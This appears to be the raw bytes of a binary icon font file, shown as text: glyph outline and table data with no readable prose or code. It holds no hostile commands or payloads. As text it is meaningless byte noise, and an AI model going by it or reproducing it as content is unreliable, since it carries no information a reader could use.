w3[20       / ; C g  +"&546;2+"&546;2+"&546;2!3!2>!'&'!+#!"&5#"&=463!7>3!2!2 @@ @@ @@@`0

o`^BB^`5FN(@(NF5 @@@L%%Ju		@LSyuS@%44%       f  5  #!!!"&5465	7#"'	'&/&6762546;2& &??>LL>
 X 
  &&&AJ	A	J
Wh          #  #!"&5463!2!&'&!"&5!(8((88((`x
c`(8 `((88(@(8(D9 8(           ,  #!"&=46;46;2 .  6  $$ @(r^aa@@`(_^aa    2  N   C  5.+";26#!26'.#!"3!"547>3!";26/.#!2W.@@.$SS$@9I  I6>>         % =  $4&"2$4&"2#!"&5463!2?!2"'&763!463!2!2 &4&&4&&4&&48(@(88(ч::(8@6@* & & *4&&4&&4&&4& (88(@(8888)@)'&&@      $ 0  "'&76;46;232  >& $$ `
(r^aa`		@`2(^aa         $ 0  ++"&5#"&54762  >& $$ ^
?@(r^aa`?		(^aa         #  !.'!!!%#!"&547>3!2<<<_@`&&
5@5
@&&>=(""=       '   #"'&5476.  6  $$    ! (r^aaJ	%%(_^aa     3  #!"'&?&#"3267672#"$&6$3276 &@*hQQhwI
	mʬzzk)' @&('QнQh_
	
z8zoe      $ G   !"$'"&5463!23267676;2#!"&4?&#"+"&= !2762@hk4&&&GaF*&@&ɆF*Ak4&nf&&&4BHrd@&&4rdMoe&            / ? O _ o   +"&=46;25+"&=46;25+"&=46;2#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!26#!"&5463!2@@@@@@@@@@^B@B^^BB^`@@@@@@@@@@@@3@MB^^B@B^^         !54&"#!"&546;54   32@ Ԗ@8(@(88( p (8 jj(88(@(88   @   7  +"&5&5462#".#"#"&5476763232>32@@@@KjKך=}\I&:k~&26]S& H&&H5KKut,4,	& x:;*4*&        K  #+"&546;227654$ >3546;2+"&="&/&546$ <X@@Gv"DװD"vG@@X<4L41!Sk @ G<_bb_<G  kS!1zz          "'!"&5463!62 &4&&M4&&M&&M&          -  "'!"&5463!62 #"&54>4.54632 &4&&M4&UF
&""""&
F&M&&M&%/B/%      G  - I k  "'!"&5463!62 #"&54>4.54632#"&54767>4&'&'&54632#"&547>7676'&'.'&54632 &4&&M4&UF
&""""&
FU&'8JSSJ8'&&'.${{$.'&&M&&M&%/B/%7;&'66'&;4[&$[2[$&[              # / 3 7  #5#5!#5!!!!!!!#5!#5!5##!35!!!                        # ' + / 3 7 ; ?  3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3????  ^>>~??????~??~??^??^^?  ^??          4&"2#"'.5463!2KjKKjv%'45%5&5L45&%jKKjK@5%%%%54L5&6'      k   5   4&"2#"'.5463!2#"&'654'.#32KjKKjv%'45%5&5L45&%%'4$.%%5&55&%jKKjK@5%%%%54L5&6'45%%%54'&55&6'  
y T d t  #!"&'&74676&7>7>76&7>7>76&7>7>76&7>7>63!2#!"3!2676'3!26?6&#!"3!26?6&#!"g(sAeM,*$/!'&JP$G]
x6,&`h`"9Hv@WkNC<.
&k&
("$p"	.#u&#	%!'	pJvwEF#@@        2#"'	#"'.546763!''!0#GG$/!''!	8""8 X!	8"	"8	          <  )!!#"&=! 4&"27+#!"&=#"&546;463!232(8&4&&48(@(8qO@8((`(@Oq 8(&4&&4&@`(88(Oq (8(`( q      ! )   2"&42#!"&546;7>3!2      Ijjjj3e5 5e3gr`Ijjjj1GG1r        P  2327&7>7;"&#"4?2>54.'%3"&#"#ժ!9&WB03&K5!)V?@L'	>R>e;&L::%P>vO
'h N_":-&+#
:	'	      + a  %3 4'.#"32>54.#"7>7><5'./6$3232#"&#"+JBx)EB_I:I*CRzb3:dtB2P$$5.3bZF|\8!-T>5Fu\,,jn OrB,<!
54wJ]?tTFi;23j.p^%/2+	S:T}K4W9: #ƕdfE     :  7>7676'5.'732>7"#"&#&#"OAzj=N!}:0e%	y+tD3~U#B4#g		'2
%/!:T	bRU,7        }  %2"/&6;#"&?62+326323!2>?23&'.'.#"&"$#"#&=>764=464.'&#"&'!~:~!PP!~:~!P6,,$$%*'c2N 	
($"LA23Yl!x!*%% %% pP,T	NE	Q7^oH!+(
3	 *Ueeuwg      a   32632$?23&'.5&'&#"&"5$#"#&=>7>4&54&54>.'&#"&'2#".465!#".'&47>32!4&4>Q6,,Fa w!*'
=~Pl*	
($"LA23Yl	)!*<7@@7< <7@@7<  pP,T	MFQ747ƢHoH!+(
3	 tJHQ6wh',686,'$##$',686,'$##$          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && & & && &&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&& &&&&&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && && && &&&&&&&&&f&&&&f&&&&f&&&&            / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&f&&&&f&&&&f&&&&            / ? O _ o   %+"&=46;2+"&=46;2+"&=46;2#!"&=463!2+"&=46;2#!"&=463!2#!"&=463!2#!"&=463!2  @  @@@sssss          / ? O  #"'&47632#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2			 	@@@@	 		 	sss         / ? O   #"&54632	#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2`			 @@@@		@		sss           #"'#!"&5463!2632 'mw@www'*wwww          .   "&462!5	!"3!2654&#!"&5463!2pppp@  @^BB^^B@B^ppp@@  @ @B^^BB^^   k    %  !7'34#"3276'	!7632k[[v

6`%`$65&%[[k
`5%&&'          4&"2"&'&54    Ԗ!?H?!,,ԖԖ mF!&&!Fm,        %"  $$  ^aa`@^aa           -  4'.'&"26%   547>7>2 "KjK XQqYn	243nYqQ$!+!77!+!$5KK,ԑ	]""]ً	        9 > H  7'3 &7#!"&5463!2'&#!"3!26=4?6	!762xtt`   ^Qwww@?61B^^B@B^	@(` `\\\P`tt8`  ^Ͼww@w1^BB^^B~	@` \ \P          + Z  #!"&5463!12+"3!26=47676#"'&=# #"'.54>;547632www M8
pB^^B@B^'sw-

9*##;Noj'#ww@w"^BB^^B
	*"g`81T`PSA:'*4       / D  #!"&5463!2#"'&#!"3!26=4?632"'&4?62	62www@?61
B^^B@B^	@
BRnBBn^ww@w1
^BB^^B	@
BnnB          C   "&=!32"'&46;!"'&4762!#"&4762+!5462  4&& 4 &&4  4&& 4 &&4 4 &&4  4&& 4 &&4  4&&        6'&'+"&546;267:	&&&&	s@	
Z&&&&Z
	     +  6'&''&'+"&546;267667:	:	&&&&		s@	
:	
Z&&&&Z
	:
	  z   6'&''&47667S:	:	s@	
:4:
	    |   	&546h!!0a$           #!"&5463!2#!"&5463!2 & && && && &@&&&&&&&&          #!"&5463!2 &&&&@&&&&         &54646&5-	:	s:	
:4:
	        +  &5464646;2+"&5&5-		&&&&	:	s:	
:	
&&&&
	:
	         &54646;2+"&5-	&&&&	s:	
&&&&
	          62#!"&!"&5463!24@&&&&-:& && &        	"'&476244444     Zf   	"/&47	&4?62S44444       # /  54&#!4&+"!"3!;265!26  $$ & && && && &@^aa@& && && && &+^aa        54&#!"3!26  $$ & && &@^aa@&&&&+^aa       + 7  4/7654/&#"'&#"32?32?6  $$ }ZZZZ^aaZZZZ^aa      #  4/&"'&"327> $$ [4h4[j^aa"ZiZJ^aa      : F  %54&+";264.#"32767632;265467>$ $$  oW	5!"40K(0?i+! ":^aaXRdD4!&.uC$=1/J=^aa       . :  %54&+4&#!";#"3!2654&+";26 $$  ```^aa ^aa      / _  #"&=46;.'+"&=32+546;2>++"&=.'#"&=46;>7546;232m&&m l&&l m&&m l&&ls&%&&%&&%&&%& &&l m&&m l&&l m&&m ,&%&&%&&%&&%&        # / ;  "/"/&4?'&4?627626.  6  $$ I














͒(r^aaɒ














(_^aa           ,  	"'&4?6262.  6  $$ Z4f44fz(r^aaZ&4ff4(_^aa        	  "  4'32>&#"  $&6$  WoɒV󇥔 zzz8YW˼[?zz:zz   @5 K    #!#"'&547632!2 A4@%&&K%54'u%%&54&K&&4A5K$l$L%%%54'&&J&j&K    5K    #"/&47!"&=463!&4?632%u'43'K&&%@4AA4&&K&45&%@6%u%%K&j&%K55K&$l$K&&u#   5K@ !  #"'+"&5"/&547632K%K&56$K55K$l$K&&#76%%53'K&&%@4AA4&&K&45&%%u'     5K "  #"'&54?63246;2632K%u'45%u&&J'45%&L44L&%54'K%5%t%%$65&K%%4LL4@&%%K'      ,   "&5#"#"'.'547!3462  4&bqb>#5&4 4 & 6Uue7D#		"ǆ &        /   #!"&546262"/"/&47'&463!2
&@&&4L

r&4

r

L&&
4&&&L

rI@&

r

L4&&     s  /  "/"/&47'&463!2 #!"&546262 &4

r

L&&
&@&&4L

r@@&

r

L4&&
4&&&L

r         #  #!+"&5!"&=463!46;2!28(`8((8`(88(8((8(8 (8`(88(8((8(88(`8          #!"&=463!28(@(88((8 (88((88   z 5  '%+"&5&/&67-.?>46;2%6.@g.L44L.g@.
.@g.
L44L
.g@.g.n.4LL43.n.gg.n.34LL4͙.n.g        -     $54&+";264'&+";26/a^



^aafm
        @    J  %55!;263'&#"$4&#"32+#!"&5#"&5463!"&46327632#!2$$8~+(888(+}(`8((8`]]k==k]]8,8e8P88P8`(88(@MM        N   4&#"327>76$32 #"'.#"#"&'.54>54&'&54>7>7>32 &z&^&./+>+)>J>	Wm7'
'"''? &4&c&^|h_bml/J@L@#*#M6:D
35sҟw$	'%
'	\t          3  #!"&=463!2'.54>54''@ 1O``O1CZZ71O``O1BZZ7@@N]SHH[3`)TtbN]SHH[3^)Tt           ! 1  &'   547 $ 4&#"2654632    '&476   ==嘅}(zVl''ٌ@uhyyhu9(}VzD##D#     	  = C U  %7.547 4&#"2654632% #"'&547.'&476 !27632#76$7&'7+NWb=嘧}(zVj\i1
z,XY[6
$!%'FuJiys?_9ɍ?kyhun(}VzYF
KA؉La
02-F"@Qsp@_        ! 3  %54&+";264'&+";26#!"&'&7>2 

 #%;" ";%# <F<7
??""??$$     ll 2  #"'&'	+&/&'&?632	&'&?67>`,@L5`		
`	L`4LH``	a	5L@              # 3 7 ; ? O s  !!!!%!!!!%!!!!!!!!%!!4&+";26!!%!!!!74&+";26%#!"&546;546;2!546;232 `@ `@ @@  @@@ @  @@L44LL4^B@B^^B@B^4L  @@@@      @@  @@   M 4LL4 4L`B^^B``B^^B`L        7 q  .+"&=46;2 #"&=".'673!54632#"&=!"+"&=46;2>767>3!54632<M33K,		 j8Z4L2B4:;M33K, ?			 0N<* .)C=W]xD0N<* .)C=W]xD ?\-7H)		".=']-7H)
w		<?.>mBZxPV3!<?.>mBZxPV3!
         &   #"'&'5&6&>7>7&54>$32 dFK1A
0)L.٫C58.H(Ye      # 3 C   $=463!22>=463!2#!"&5463!2#!"&5463!2 H&&/<R.*.R</&& &&&& &&&&Bɀ&&4L&&L4&&f&&&&&&&&     Z     %"'	"/&4762444ͥ55     Z   	"'&4?62	6244455        % K  %#!".<=#"&54762+!2"'&546;!"/&5463!232 @&@<@&@	:&	& 
&&
&	
`&          :  $"&462"&462!2#!"&54>7#"&463!2!2LhLLhLhLLh!&& &&& &4hLLhLLhLLhL %z<
0&4&&)17&4&&&           #!"&5463!2!2\@\\@\\@\\\\         W  *  #!"&547>3!2!"4&5463!2!2W+B"5P+B@"5^=\@\ \H#t3G#3G:_Ht\\     @      +32"'&46;#"&4762&& 4 && 4 4& &4  4& &4       @     "&=!"'&4762!5462  4& &4  4& &4 4 && 4 &&              !!!3!!                    0 @  67&#".'&'#"'#"'32>54'6#!"&5463!2 8ADAE=\W{O[/5dIkDtpČe1?*w@www	(M&B{Wta28r=Ku?RZ^GwT	-@www       $  2+37#546375&#"#3!"&5463ww/Dz?swww@wS88	ww           # ' . >   4&#"26546326"&462!5! &  !5!!=!!%#!"&5463!2B^8(Ԗ  > @|K5 5KK5 5K^B(8ԖԖ>v 5KK5 5KK   H  G   4&"&#"2654'32#".'#"'#"&54$327.54632@pp)*Pppp)*Pb	'"+`N*(a;2̓c`." b
PTY9ppP*)pppP*) b ".`(*Nͣ2ͣ`+"'	b
MRZB               4&"24&"264&"26#"/+"&/&'#"'&547>7&/.=46?67&'&547>3267676;27632#"&'"'#"'&547&'&=4767&547>32626?2#"&'"'#"'&547&'&=4767&547>32626?2ԖLhLKjKLhLKjK	"8w
s%(")v

>
	"8x
s"+")v
<
3zLLz33>8L3)x33zLLz33>8L3)x3ԖԖ 4LL45KK54LL45KK
#)0C	wZl/

Y	
N,&
#)0C	vZl.

YL0"qG^^Gqq$ ]G)FqqG^^Gqq$ ]G)Fq         % O   #"'#"&'&4>7>7.546$ '&'&'# '32$7>54'VZ|$2$
|E~E<|
$2$|ZV:(t}X(	&%(Hw쉉xH(%&	(XZT\MKG        < m  $4&"24&#!4654&#+32;254'>4'654&'>7+"&'&#!"&5463!6767>763232 &4&&4N2`@`%)7&,$)'  %/0Ӄy#5 +1	&<$]`{t5KK5$e:1&+'3TF0h4&&4&3M:;b^v+D2 5#$IIJ 2E=\$YJ!$MCeM-+(K55KK5y*%Au]c         > q   4&"24&'>54'654&'654&+"+322654&5!267+#"'.'&'&'!"&5463!27>;2 &4&&4+ 5#bW0/%  ')$,&7)%`@``2Nh0##T3'"(0;e$5KK5 tip<&	1&4&&4& #\=E2&%IURI$#5 2D+v^b;:M2gc]vDEA%!bSV2MK55K(,,MeCM$!I     @   #"&547&547%6@?V8b%	I)         9  4.""'."	67"'.54632>32+C`\hxeH>Hexh\`C+ED4
#L</>oP$$Po>Q|I.3MCCM3.I|Q/Z$_dC+I@$$@I+           ( @  %#!"&5463!2#!"3!: "&5!"&5463!462ww@B^^B 
4&@&&&4 ` ww ^B@B^24& && &        % 5  73#7.";2634&#"35#347>32#!"&5463!2FtIG9;HIxI<,tԩw@wwwz4DD43EEueB&#1s@www      .  4&"26#!+"'!"&5463"&463!2#2&S3Ll&c4LL44LL4c@&&{ LhLLhL           ' ?  #!"&5463!2#!"3!26546;2"/"/&47'&463!2www@B^^B@B^@&4t

r

& &`ww@w@^BB^^B@R &t

r

4&&         @   "&5!"&5463!462	#!"&54&>3!2654&#!*.54&>3!24&@&&&4 sw@B^^B
@w4& && &3@w ^BB^       I  &5!%5!>732#!"&=4632654&'&'.=463!5463!2!2J  JSq*5&=CKuuKC=&5*q͍S8( ^B@B^ (8`N`Ѣ΀GtO6)"M36J[E@@E[J63M")6OtG(8`B^^B`8   	        ' , 2    6'&'&76'6'&6&'&6'&4#"7&64   654'.'&'.63226767.547&7662>76#!"&5463!2		/[		.
=XĚ4,+"*+, 1JH'5G::#L5+@=&# w@wwwP.1GE,ԧ44+	;/5cFO:>JJ>:O9W5$@(b4@www      ' ?  $4&"2$4&"2#!"&5463!3!267!2#!#!"&5!"'&762 &4&&4&&4&&48(@(88(c= =c(8* & & *6&4&&4&&4&&4& (88(@(88HH88`(@&&('@       1 c  4&'.54654'&#"#"&#"32632327>7#"&#"#"&54654&54>76763232632


	N<;+gC8A`1a99gw|98aIe$IVNz<:LQJ
,-[%	061I()W,$-7,oIX()oζA;=N0
eTZ	 (       O  #".'&'& '&'.54767>3232>32e^\4?P	bMO0#382W#& 9C9
Lĉ"	82<*9FF(W283#0OMb	P?4\^eFF9*<28	"L
9C9 &#           !"3!2654&#!"&5463!2`B^^B@B^^ީwww@w ^BB^^B@B^ww@w      #  !72#"'	#"'.546763 YY!''!0#GG$/!''! &UUjZ	8""8 X!	8"	"8	        G W  4.'.#"#".'.'.54>54.'.#" 32676#!"&5463!2  1.-
+$)c8)1)

05.D<90)$9 w@wwwW

)1)7c)$+
-.1 9$)0<D.59@www  ,  T  1  # '327.'327.=.547&54632676TC_LҬ#+i!+*pDNBN,y[`m`%i]hbEm}au&,SXK
&$f9s?
    _    #"!#!#!54632V<%' ЭHH	(ں       T \ d k s z       &54654'>54'6'&&"."&'./"?'& 546'&6'&6'&6'&6'&74"727&6/a49[aA)O%-j'&]]5r-%O)@a[9'
0BA;+

>HCU


	#	
	
$				2	AC: oM=a-6OUwW[q	( -	q[WwUP6$C

+) (	
8&/&eMa	
&$	        %  +"&54&"32#!"&5463!54   &@&Ԗ`(88(@(88(r && jj8((88(@(8        # ' +  2#!"&5463"!54&#265!375!35!B^^BB^^B` ^B@B^^BB^ `       ! =   "&462+"&'& '.=476;+"&'& $'.=476;pppp$!$qr%}#ߺppp!E$rqܢ#%ֻ!           ) ?   "&462"&4624&#!"3!26!.#!"#!"&547>3!2/B//B//B//B@2^B@B^\77\aB//B//B//B/@~B^^B@2^5BB52     . 4  2## %&'.67#"&=463! 2 5KK5L4_u:B&1/&.-
zB^^B4LvyKjK4L[!^k'!A3;):2*<vTq6^BB^L4$)*    @     A  4#"&54"3! 4."#!"&5!"&5>547&5462;U gIv0ZZ0L4@Ԗ@4L2RX='8P8'=XR U;Ig0,3lb??bl34LjjL4*\(88(\    } I  /#"/'&/'&?'&'&?'&76?'&7676767676`
(5)0
)*)
0)5(

(5)0
))))
0)5(
*)
0)5(
)5)0
)**)
0)5)

)5)0
)*      5 h  $4&"24&#!4>54&#"+323254'>4'654&'!267+#"'&#!"&5463!2>767>32!2 &4&&4N2$YGB(HGEG  HQ#5K4Li!<;5KK5 
A#("/?&}vh4&&4&3M95S+C=,@QQ9@@IJ 2E=L5i>9eME;K55K	J7R>@#zD<      5 = q  %3#".'&'&'&'.#"!"3!32>$4&"2#!"#"&?&547&'#"&5463!&546323!2`  #A<(H(GY$2NL4K5#aWTƾh&4&&4K5;=!ihv}&?/"(#A
 5K2*!	Q@.'!&=C+S59M34L=E2 JI UR@@&4&&4&5K;ELf9>ig<Dz#@>R7J	K          5 h  4&"24#"."&#"4&#"".#"!54>7#!"&54.'&'.5463246326326 &4&&4IJ 2E=L43M95S+C=,@QQ9@@E;K55K	J7R>@#zD<gi>9eMZ4&&4&<#5K4LN2$YGB(HGEG  HV;5KK5 
A#("/?&}vhi!<         4 < p  4.=!32>332653272673264&"2/#"'#"&5#"&54>767>5463!2@@2*!	Q@.'!&=C+S59M34L.9E2 JI UR&4&&4&Lf6Aig6Jy#@>R7J	K55K;E@TƾH  #A<(H(GY$2NL4K#5#a=4&&4&D=ihv}&?/"(#A
 5KK5;         +  54&#!764/&"2?64/!26  $$  &
[6[[j6[& ^aa@&4[[6[[6&+^aa        +   4/&"!"3!277$ $$ [6[
&&[6j[^aae6[j[6&&4[j[^aa      +   4''&"2?;2652?$ $$ [6[[6&&4[^aaf6j[[6[
&&[^aa      +   4/&"4&+"'&"2?  $$ [6&&4[j[6[j^aad6[&&
[6[[j ^aa             $2>767676&67>?&'4&'.'.'."#&6'&6&'3.'.&'&'&&'&6'&>567>#7>7636''&'&&'.'"6&'6'..'/"&'&76.'7>767&.'"76.7"7"#76'&'.'2#22676767765'4.6326&'.'&'"'>7>&&'.54>'>7>67&'&#674&7767>&/45'.67>76'27".#6'>776'>7647>?6#76'6&'676'&67.'&'6.'.#&'.&6'&.5/a^D&"	


	4	$!	#	
		
	


 
.0"Y
	+!	
	
$		"+


		
	Α	
		^aa
	

					

		
			P '-(	#	*	$
"!				*
!	
(				
	
$
		
2   ~   /  $4&"2	#"/&547#"  32>32&4&&4V%54'j&&'/덹:,{	&4&&4&V%%l$65&b'Cr!"k[G             + ;  %!5!!5!!5!#!"&5463!2#!"&5463!2#!"&5463!2    &&&&&&&&&&&&@ && && && && && &&   {    #"'&5&763!2{' * *)* )'             /  !5!#!"&5!3!26=#!5!463!5463!2!2  ^B@B^&@&`   ^B`8(@(8`B^   B^^B&&B^(88(^      G  	76#!"'&?	#!"&5476	#"'&5463!2	'&763!2#"'c)'&@**@&('c(&*cc*&'*@&('c'(&*cc*&('c'(&@*        1 9 A S [  #"&532327#!"&54>322>32 "&462  &6 +&'654'32>32"&462QgRp|Kx;CByy 6Fe=
BPPB
=eF6  ԖV>!pRgQBC;xK|Ԗ{QNa*+%xx5eud_C(+5++5+(C_due2ԖԖ>NQ{u%+*jԖԖ     p ! C i  4/&#"#".'32?64/&#"327.546326 #"/&547'#"/&4?632632(* 8(!)(A(')* 8(!USxySSXXVzxTTUSxySSXXVzxT@( (8 *(('((8 SSUSx{VXXTTSSUSx{VXXT        #!" 5467&54 32632t,Ԟ;F`j)6,>jK?  s  !  %#!"&7#"&463!2+!'5#8EjjE8@&& &&@XYY&4&&4&qDS%q%         N \ j x     2"&4#"'#"'&7>76326?'&'#"'.'&676326326&'&#"32>'&#"3254?''74&&4&lNnbSVZbRSD	zz	DSRb)+USbn\.2Q\dJ'.2Q\dJ.Q2.'Jd\Q2.'Jd`!O` 	`&4&&4r$#@B10M5TNT{L5T	II	T5L;l'OT4M01B@#$*3;$*3;;3*$;3*$:$/ @@Qq`@         " % 3 <  2#!"&5!"&5467>3!263!	!!#!!46!#!(88(@(8(8(`((8D<++<8(` (8(`8(@(88( 8((`(8((<`(8 (``(8    || ?  %#"'&54632#"'&#"32654'&#"#"'&54632|udqܟs]
=
OfjL?R@T?"&
>
f?rRX=Edudsq
=
_MjiL?T@R?E& f
>
=XRr?b      ! 1 E  )!34&'.##!"&5#3463!24&+";26#!"&5463!2  

08((88(@(88((88((`(1

`(88( (88( @`(88(@(8(`         #!"&5463!2 w@www`@www             /  %#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&&&&&    @    ' 7 G  $"&462"&462#!"&=463!2 "&462#!"&=463!2#!"&=463!2ppppppp@ppp@@Рppppppppp         < L \ l |  #"'732654'>75"##5!!&54>54&#"'>3235#!"&=463!2!5346=#'73#!"&=463!2#!"&=463!2}mQjB919+i1$AjM_3</BB/.#U_:IdDRE@k*Gj@@TP\BX-@8
C)5XsJ@$3T4+,:;39SG2S.7<vcc))%Ll}         5 e  2#!"&=463%&'&5476!2/&'&#"!#"/&'&=4'&?5732767654'&@02uBo
T25XzrDCBBEh:%)0%HPIP{rQ9f#-+>;I@KM-/Q"@@@#-bZ$&P{<8[;:XICC>. '5oe80#.0(l0&%,"J&9%$<=DTI     c s  &/6323276727#"327676767654./&'&'737#"'&'&'&54'&54&#!"3!260%<4"VRt8<@<-#=XYhW8+0$"+dTLx-'I&JKkmuw<=V@!X@		v'|N;!/!$8:IObV;C#V
&(mL.A:9 !./KLwPM$@@  
       / ? O _ o     %54&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!26#!"&5463!2 @@ @ @ @ @ @ @@^BB^^B@B^NB^^B@B^^         # + 3  	'$"/&4762%/?/?/?/?%k*66bbbb|<<<bbbbbbbb%k66Ƒbbb<<<<^bbbbbb    @      M  $4&"2!#" 4&"2&#"&5!"&5#".54634&>?>;5463!2LhLLh		 LhLLhL!'ԖԖ@'!&	?& &LhLLhL 		hLLhL 	jjjj	&@6/"&&       J   #"'676732>54.#"7>76'&54632#"&7>54&#"&54$  ok;	-j=yhwi[+PM3ѩk=J%62>VcaaQ^ ]G"'9r~:`}Ch  0=Z٤W=#uY2BrUI1^Fk[|a      L  2#!67673254.#"67676'&54632#"&7>54&#"#"&5463ww+U	,i<F{jh}Z+OM
2ϧj<J%51=Ubwww@wzX"'8'TyI9`{Bf 
,>XբW<"uW1AqSH1bdww        ' 7  4'!3#"&46327&#"326%35#5##33#!"&5463!20U6cc\=hlࠥYmmnnnnw@wwww&46#Ȏ;edwnnnnn@www    	 ] # /  #"$&6$3 &#"32>7!5!%##5#5353Еttu{zz{SZC`cot*tq||.EXN#??           , <  !5##673#$".4>2"&5!#2!46#!"&5463!2 rM* *M~~M**M~~M*jjj& && &`P%挐|NN||NN|* jj jj@&&&&    @     "'&463!2 @4@&Z4@4&        @    #!"&4762 &&4Z4&&4@     @    "'&4762&4@4&@&4&      @    "&5462@@4&&44@&&@           3!!%!!26#!"&5463!2`m`^BB^^B@B^ `@B^^BB^^    @     "'&463!2#!"&4762 @4@&&&&44@4&Z4&&4@            "'&463!2 @4@&4@4&        @    #!"&4762 &&4Z4&&4@          :  #!"&5;2>76%6 +".'&$'.5463!2 ^B@B^,9j9Gv33vG9H9+bI\
A+=66=+A
[">nSMA_:B^^B1&c*/11/*{'VO3@/$$/@*?Nh^    l   +  !+"&5462!4&#"!/!#>32]_gTRdgdQV?UI*Gg?!2IbbIJaaiwE3300 08        4   #"$'&6?6332>4.#"#!"&54766$32 z䜬m
IwhQQhbF*@&('kz
	
_hQнQGB'(&*eoz  ( q  !#"'&547"'#"'&54>7632&4762.547>32#".'632%k'45%&+ ~((h		&

\((		&

~ +54'k%5%l%%l$65+ ~

&		((\

&		h((~ +%'         ! ) 1 9 K   4&"2 4&"26.676&$4&"2 4&"24&"2#!"'&46$ KjKKjKjKKje2.e<^P,bKjKKjKjKKjKjKKj##LlLKjKKjKjKKjK~-M<M(PM<rjKKjKjKKjKujKKjKL           <    6?32$6&#"'#"&'5&6&>7>7&54$ LhяW.{+9E=cQdFK1A
0)pJ2`[Q?l&٫C58.H(Y'        : d    6?32$64&$ #"'#"&'&4>7>7.546'&'&'# '32$7>54'Yj`a#",5NK
~EVZ|$2$
|:
$2$|ZV:(t}hfR88T
h̲X(	&%(Hw(%&	(XZT\MKG{x   | !  #"'.7#"'&7>3!2%632u
jH{(e9
1b      U  #!"&546;5!32#!"&546;5!32#!"&546;5463!5#"&5463!2+!232 8((88(` `(88((88(` `(88((88(`L4 `(88(@(88(` 4L`(8 (88(@(88((88(@(88((88(@(84L8(@(88((8L48      O Y  "&546226562#"'.#"#"'.'."#"'.'.#"#"&5476 $32&"5462И&4&NdN!>!1X:Dx++ww++xD:X1- U! *,*&4&hh&&2NN2D&
..J<
$$
<JJ<
$$
<J..
Pbb&&          7  !!"&5!54&#!"3!26!	#!"&=!"&5463!2 `(8 @ + 8(@(8(88(@(8(8( @@m+U`(88(8(@(88(h`         ( \  "&54&#"&46324."367>767#"&'"&547&547&547.'&54>2l42cKEooED
)

)
Dg-;</-?.P^P.?-/<;-gYY.2 L4H|O--O|HeO,,Oeq1Ls26%%4.2,44,2.4%%62sL1qcqAAq      4  #!#"'&547632!2#"&=!"&=463!54632 		@	`		`?`
@		@	!		
          5  4&+4&+"#"276#!" 5467&54 32632 	`		_
v,Ԝ;G_j)``			_ԟ7,>jL>       5  4'&";;265326#!" 5467&54 32632 			
v,Ԝ;G_j)	`		`7,>jL>        X `  $"&462#!"&54>72654&'547 7"2654'54622654'54&'46.'  &6 &4&&4&yy%:hD:FppG9Fj 8P8 LhL 8P8 E;
Dh:%>4&&4&}yyD~s[4Dd=PppP=d>hh>@jY*(88(*Y4LL4Y*(88(*YDw"
A4*[s~>       M   4&"27 $=.54632>32#"' 65#"&4632632 65.5462 &4&&4G9&
<#5KK5!!5KK5#<
&ܤ9Gpp&4&&4&@>buោؐ &$KjKnjjKjK$& jjb>Ppp        %  !5!#"&5463!!35463!2+32  @\\ 8(@(8 \@@\ \@\  (88(\   @    3  4#"&54"3#!"&5!"&5>547&5462;U gI@L4@Ԗ@4L2RX='8P8'=XR U;Ig04LjjL4*\(88(\    @    "   4&+32!#!"& +#!"&5463!2pP@@P j j@@\@\&0pj	 \\&       - B  +"&5.5462265462265462+"&5#"&5463!2G9L44L9G&4&&4&&4&&4&&4& L44L &=d4LL4d=&&`&&&&`&&&&4LL4  &         # 3 C S  #!"&5463!2!&'&!"&5!463!2#!"&52#!"&=4632#!"&=463(8((88((`x
c`(8  @@@`((88(@(8(D9 8( `@@@ @@        / ? O _ o         -=  %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!!5463!2#!"&5463!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @ & && &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  `&&&&        / ? O _ o        %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!#!"&=!!5463!24&+"#54&+";26=3;26%#!"&5463!463!2!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@  8(@(8 @@@@@ & &&@8((8@&@@@@@@@@@@@@@@@@@@@@ (88( @````- && & (88(&  @    < c  $4&"2!# 4&"254&+54&+"#";;26=326+"&5!"&5#"&46346?>;463!2KjKKj KjKKj &ԖԖ&&@&&KjKKjK 
jKKjK .&jjjj&4&@@&&      # ' 1 ? I  54&+54&+"#";;26=326!5!#"&5463!!35463!2+32    \\8(@(8 \  \ \@\  (88(\          :  #32+53##'53535'575#5#5733#5;2+3@E&&`@@`    `@@`&&E%@`@ @ @		      		@ 0
    @      !3!57#"&5'7!7! K5@   @ 5K@@@      # 3  %4&+"!4&+";265!;26#!"&5463!2 && &&&& && w@www&&@&&&&@&&@www        # 3  54&#!4&+"!"3!;265!26#!"&5463!2 &&&&&@&&@& w@www@&@&&&&&&@&:@www    - M3  )  $"'&4762	"'&4762	s
2

.



2

w
2

.



2

w
2





2

ww

2





2

ww     M3  )   "/&47	&4?62"/&47	&4?62S
.

2

w

2


.

2

w

2

M
.

2



2

.

.

2



2

.   M 3S  )  $"'	"/&4762"'	"/&47623
2

ww

2





2

ww

2




2

w

2



.v
2

w

2



.    M 3s  )   "'&4?62	62"'&4?62	623
.

.

2



2

.

.

2



2
.



2

w

2v
.



2

w

2   - Ms3    	"'&4762s
w

2

.



2
ww

2





2     MS3    "/&47	&4?62S
.

2

w

2

M
.

2



2

.    M3S    "'	"/&47623
2

ww

2



m
2

w

2



